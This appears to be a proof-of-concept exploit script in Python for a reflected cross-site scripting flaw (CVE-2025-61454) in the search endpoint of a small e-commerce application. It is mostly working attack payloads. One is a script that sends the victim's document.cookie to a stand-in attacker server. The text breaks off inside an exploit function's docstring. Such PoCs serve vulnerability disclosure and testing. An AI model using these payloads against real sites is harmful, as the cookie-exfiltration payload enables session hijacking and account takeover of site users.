## CVE-2025-61454 - Reflected XSS PoC for Bhabishya-123 E-commerce 1.0 ## Vulnerability Location: /search endpoint ## The /search parameter reflects user input directly into HTML response without sanitization ## ============================================ ## PoC 1: Basic Reflected XSS via GET request ## ============================================ # Target URL format: # http://target.com/search?q=<script>alert('XSS')</script> import requests target_url = "http://target.com/search" # Payload 1: Simple script injection payload_script = '<script>alert("XSS-Vulnerability-CVE-2025-61454")</script>' # Payload 2: Event handler based (bypasses some filters) payload_img = '<img src=x onerror=alert(document.cookie)>' # Payload 3: SVG-based XSS payload_svg = '<svg/onload=alert(1)>' # Payload 4: Cookie stealing (for demonstration) # Replace with attacker's controlled server attacker_server = "http://attacker.com/steal" payload_cookie_steal = f'<script>new Image().src="{attacker_server}?c="+document.cookie</script>' def exploit_xss(target_url, parameter, payload): """ Send a crafted request to the vulnerable search endpoint and verify if the payload is reflected in the response.
